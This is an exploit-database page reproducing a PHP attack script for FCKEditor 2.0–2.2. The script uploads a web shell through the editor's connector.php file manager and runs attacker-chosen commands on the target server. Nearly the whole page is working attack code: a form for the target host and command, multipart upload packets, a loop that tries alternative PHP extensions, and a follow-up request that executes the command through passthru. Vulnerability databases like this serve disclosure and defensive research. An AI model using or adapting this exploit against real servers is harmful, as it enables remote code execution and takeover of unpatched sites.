Lucene search
K

FCKEditor 2.0 <= 2.2 (connector.php) - Remote Shell Upload Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

FCKEditor 2.0 <= 2.2 Remote Shell Upload Exploi

Code

                                                &#60;?php
#  ---fckeditor_22_xpl.php                              15.38 04/12/2005       #
#                                                                              #
#                       FCKEditor 2.0 &#60;= 2.2 shell upload                      #
#                              coded by rgod                                   #
#                     site: http://retrogod.altervista.org                     #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: &#34;Security against defeat implies defensive tactics; ability to     #
#  defeat the enemy means taking the offensive&#34;                                #

/* -&#62; a short explaination: if a user cam call directly

      http://[target]/[path]/editor/filemanager/browser/default/connectors/php/connector.php

      he can upload malicious contempt on a target server, including arbitrary
      php code, and launch commands on it

      this works when php connector is enabled in config.php and when, ex.,
      in Apache httpd.conf &#34;AddType application/x-httpd-php&#34; directive we have
      an extension not specified in FCKEditor Config[DeniedExtensions][File]
      array.

      However, FCKeditor is integrated in a lot of applications, and if you
      succeed to upload the shell (see details in the output of this script)
      search for a local inclusion issue inside of them and include the uploaded
      file                                                                    */

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;, 5);
ob_implicit_flush (1);

echo&#39;&#60;html&#62;&#60;head&#62;&#60;title&#62; ******* FCKEditor 2.0 &#60;= 2.2 shell upload**************
&#60;/title&#62;&#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=iso-8859-1&#34;&#62;
&#60;style type=&#34;text/css&#34;&#62; body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--&#62;&#60;/style&#62;&#60;/head&#62;&#60;body&#62;&#60;p class=&#34;Stile6&#34;&#62;
 ******* FCKEditor 2.0 &#60;= 2.2 shell upload************** &#60;/p&#62;&#60;p class=&#34;Stile6&#34;&#62;a
script  by  rgod  at    &#60;a href=&#34;http://retrogod.altervista.org&#34;target=&#34;_blank&#34;&#62;
http://retrogod.altervista.org&#60;/a&#62; &#60;/p&#62; &#60;table  width=&#34;84%&#34;&#62;&#60;tr&#62;&#60;td width=&#34;43%&#34;&#62;
&#60;form name=&#34;form1&#34; method=&#34;post&#34;   action=&#34;&#39;.$_SERVER[PHP_SELF].&#39;&#34;&#62;    &#60;p&#62;&#60;input
type=&#34;text&#34;  name=&#34;host&#34;&#62; &#60;span class=&#34;Stile5&#34;&#62;* target    (ex:www.sitename.com)
&#60;/span&#62;&#60;/p&#62; &#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;path&#34;&#62;  &#60;span class=&#34;Stile5&#34;&#62;* path (ex:
/FCKEditor/ or just / ) &#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;cmd&#34;&#62;       &#60;span
class=&#34;Stile5&#34;&#62; * specify a command&#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;port&#34;&#62;
&#60;span class=&#34;Stile5&#34;&#62;specify  a  port other than  80 (default value)&#60;/span&#62; &#60;/p&#62;
&#60;p&#62;&#60;input   type=&#34;text&#34; name=&#34;proxy&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62; send  exploit through
an HTTP proxy (ip:port) &#60;/span&#62;  &#60;/p&#62;  &#60;p&#62;  &#60;input   type=&#34;submit&#34; name=&#34;Submit&#34;
value=&#34;go!&#34;&#62;&#60;/p&#62;&#60;/form&#62;&#60;/td&#62;&#60;/tr&#62;&#60;/table&#62;&#60;/body&#62;&#60;/html&#62;&#39;;

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo &#39;&#60;table border=&#34;0&#34;&#62;&#60;tr&#62;&#39;;
  while ($ii &#60;= strlen($headeri)-1){
    $dAtAi=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo &#34;&#60;td&#62;&nbsp;&nbsp;&#60;/td&#62;&#34;;
      for ($li=0; $li&#60;=15; $li++) {
        echo &#34;&#60;td&#62;&#34;.htmlentities($headeri[$li+$ki]).&#34;&#60;/td&#62;&#34;;
		}
      $ki=$ki+16;
      echo &#34;&#60;/tr&#62;&#60;tr&#62;&#34;;
    }
    if (strlen($dAtAi)==1) {
      echo &#34;&#60;td&#62;0&#34;.htmlentities($dAtAi).&#34;&#60;/td&#62;&#34;;
    }
    else {
      echo &#34;&#60;td&#62;&#34;.htmlentities($dAtAi).&#34;&#60;/td&#62; &#34;;
    }
    $ii++;$ji++;
  }
  for ($li=1; $li&#60;=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo &#34;&#60;td&#62;&nbsp&nbsp&#60;/td&#62;&#34;;
  }
  for ($li=$ci*16; $li&#60;=strlen($headeri); $li++) {
    echo &#34;&#60;td&#62;&#34;.htmlentities($headeri[$li]).&#34;&#60;/td&#62;&#34;;
  }
  echo &#34;&#60;/tr&#62;&#60;/table&#62;&#34;;
}

$pRoXy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacket() //2x speed
{
  global $pRoXy, $host, $port, $pAcKeT, $HtMl, $pRoXy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &#60; 0) {
    echo &#34;socket_create() failed: reason: &#34; . socket_strerror($socket) . &#34;&#60;br&#62;&#34;;
  }
  else {
    $c = preg_match($pRoXy_regex,$pRoXy);
    if (!$c) {echo &#39;Not a valid prozy...&#39;;
    die;
    }
  echo &#34;OK.&#60;br&#62;&#34;;
  echo &#34;Attempting to connect to &#34;.$host.&#34; on port &#34;.$port.&#34;...&#60;br&#62;&#34;;
  if ($pRoXy==&#39;&#39;) {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(&#39;:&#39;,$pRoXy);
    echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result &#60; 0) {
    echo &#34;socket_connect() failed.\r\nReason: (&#34;.$result.&#34;) &#34; . socket_strerror($result) . &#34;&#60;br&#62;&#60;br&#62;&#34;;
  }
  else {
    echo &#34;OK.&#60;br&#62;&#60;br&#62;&#34;;
    $HtMl= &#39;&#39;;
    socket_write($socket, $pAcKeT, strlen($pAcKeT));
    echo &#34;Reading response:&#60;br&#62;&#34;;
    while ($out= socket_read($socket, 2048)) {$HtMl.=$out;}
    echo nl2br(htmlentities($HtMl));
    echo &#34;Closing socket...&#34;;
    socket_close($socket);
  }
  }
}

function sendpacketii($pAcKeT)
{
  global $pRoXy, $host, $port, $HtMl, $pRoXy_regex;
  if ($pRoXy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($pRoXy_regex,$pRoXy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$pRoXy);
    echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$pAcKeT);
  if ($pRoXy==&#39;&#39;) {
    $HtMl=&#39;&#39;;
    while (!feof($ock)) {
      $HtMl.=fgets($ock);
    }
  }
  else {
    $HtMl=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$HtMl))) {
      $HtMl.=fread($ock,1);
    }
  }
  fclose($ock);
  echo nl2br(htmlentities($HtMl));
  }


function refresh()
{
  flush();
  ob_flush();
  usleep(100000);
}
function make_seed()
{
   list($usec, $sec) = explode(&#39; &#39;, microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$_POST[host];$port=$_POST[port];
$path=$_POST[path];$cmd=$_POST[cmd];
$pRoXy=$_POST[proxy];
echo &#34;&#60;span class=\&#34;Stile5\&#34;&#62;&#34;;

if (($host&#60;&#62;&#39;&#39;) and ($path&#60;&#62;&#39;&#39;) and ($cmd&#60;&#62;&#39;&#39;))
{
  $port=intval(trim($port));
  if ($port==&#39;&#39;) {$port=80;}
  if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
  if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}
  $host=str_replace(&#34;\r&#34;,&#34;&#34;,$host);$host=str_replace(&#34;\n&#34;,&#34;&#34;,$host);
  $path=str_replace(&#34;\r&#34;,&#34;&#34;,$path);$path=str_replace(&#34;\n&#34;,&#34;&#34;,$path);

  //modify the shell as you want, this could be written in any language
  //if exploit succeeded we will see phpinfo() even, check for disable_functions
  //if passthru() disabled, try with system(), exec(), popen() or shell_exec()
  $SHELL =&#34;&#60;?php echo chr(72).\&#34;i Master!\&#34;;ini_set(\&#34;max_execution_time\&#34;,0);error_reporting(0);&#34;;
  $SHELL.=&#34;phpinfo();passthru(\$HTTP_GET_VARS[cmd]);?&#62;&#34;;
  //we try to guess allowed extensions...
  // you should succeed with .php3 for 2.0fc
  //  &#34;     &#34;       &#34;     &#34;  .php  for 2.0rc1
  //  &#34;     &#34;       &#34;     &#34;  .php  for 2.0rc2
  //  &#34;     &#34;       &#34;     &#34;  .php3 for 2.0rc3
  //  &#34;     &#34;       &#34;     &#34;  .pwml for 2.1 (added some restrictions, but maybe
  //                                        this is executable on some machine)
  //  &#34;     &#34;       &#34;     &#34;  .pwml for 2.11
  //  &#34;     &#34;       &#34;     &#34;  .pwml for 2.2
  $extensions= array(&#39;.php&#39;, &#39;.php3&#39;, &#39;.php5&#39;, &#39;.phtml&#39;,&#39;.pwml&#39;, &#39;.php4&#39;, &#39;.php2&#39;, &#39;.inc&#39;);
  //add what you want
  //&#39;FileUpload&#39; for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 - 2.0fc
  //empty for 2.2
  $upload_command= array(&#39;FileUpload&#39;,&#39;&#39;);
  $path_to_shell=&#34;/UserFiles/File/&#34;; //default one: if different, script will find it

  for ($x=0; $x&#60;=count($extensions)-1; $x++)
  {
    for ($y=0; $y&#60;=1; $y++)
    {
      # STEP 1 -&#62; Upload the shell
      srand(make_seed());
      $anumber = rand(1,9999);
      $filename=&#34;suntzu&#34;.$anumber.$extensions[$x];
      $dAtA=&#34;-----------------------------7d529a1d23092a\r\n&#34;;
      $dAtA.=&#34;Content-Disposition: form-data; name=\&#34;NewFile\&#34;; filename=\&#34;$filename\&#34;\r\n&#34;;
      $dAtA.=&#34;Content-Type:\r\n\r\n&#34;;
      $dAtA.=&#34;$SHELL\r\n&#34;;
      $dAtA.=&#34;-----------------------------7d529a1d23092a--\r\n&#34;;
      $pAcKeT=&#34;POST &#34;.$path.&#34;editor/filemanager/browser/default/connectors/php/&#34;;
      $pAcKeT.=&#34;connector.php?Command=&#34;.$upload_command[$y].&#34;&Type=File&CurrentFolder= HTTP/1.1\r\n&#34;;
      $pAcKeT.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n&#34;;
      $pAcKeT.=&#34;User-Agent: Sun-tzu giving you the pain\r\n&#34;;
      $pAcKeT.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
      $pAcKeT.=&#34;Content-Length: &#34;.strlen($dAtA).&#34;\r\n&#34;;
      $pAcKeT.=&#34;Connection: Close\r\n\r\n&#34;;
      $pAcKeT.=$dAtA;
      show($pAcKeT);
      sendpacketii($pAcKeT);
      if (!eregi(&#34;200 OK&#34;,$HtMl)) {die(&#34;Cannot find connector.php...&#60;br&#62;&#34;);}
      if (eregi(&#34;This connector is disabled&#34;,$HtMl)) {echo &#34;Exploit failed... -&#62; php connector not enabled&#34;;die;}
      if (eregi(&#34;url=\&#34;&#34;,$HtMl))
      {
        $temp=explode(&#34;url=\&#34;&#34;,$HtMl);
        $temp2=explode(&#34;\&#34;&#34;,$temp[1]);
        $path_to_shell=$temp2[0];
      }
      echo &#34;&#60;br&#62;path where I search shell: &#34;.htmlentities($path_to_shell).&#34;&#60;br&#62;&#34;;
      # STEP 2 -&#62; Launch commands...
      #by default a &#34;UserFiles/File/&#34; dir is generated inside site root when you upload
      #files, this dir is not protected by an .htaccess file or whatever
      $pAcKeT=&#34;GET &#34;.$path_to_shell.$filename.&#34;?cmd=&#34;.urlencode($cmd).&#34; HTTP/1.1\r\n&#34;;
      $pAcKeT.=&#34;User-Agent: GoogleBot/1.1\r\n&#34;;
      $pAcKeT.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
      $pAcKeT.=&#34;Connection: Close\r\n\r\n&#34;;
      show($pAcKeT);
      sendpacketii($pAcKeT);
      if (eregi(&#34;200 OK&#34;,$HtMl)) {
                                 if (eregi(&#34;Hi Master!&#34;,$HtMl))
    			         {echo &#34;Exploit succeeded...&#60;br&#62;&#34;;
				  echo &#34;we have a shell in http://&#34;.$host.$path_to_shell.$filename.&#34;&#60;br&#62;&#34;;
				  echo &#34;we should have phpinfo() here, see html...&#60;br&#62;&#34;;
			          die;}
                                  else {echo &#34;Successfully uploades...&#60;br&#62;
			                      but is not an executable on target server...&#60;br&#62;&#34;;}
                               }
      refresh();
    }

  }
#if you are here...
echo &#34;Exploit failed...&#34;;
}
else
{echo &#34;Fill * required fields, optionally specify a proxy...&#34;;}
echo &#34;&#60;/span&#62;&#34;;
?&#62;

# milw0rm.com [2006-02-09]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21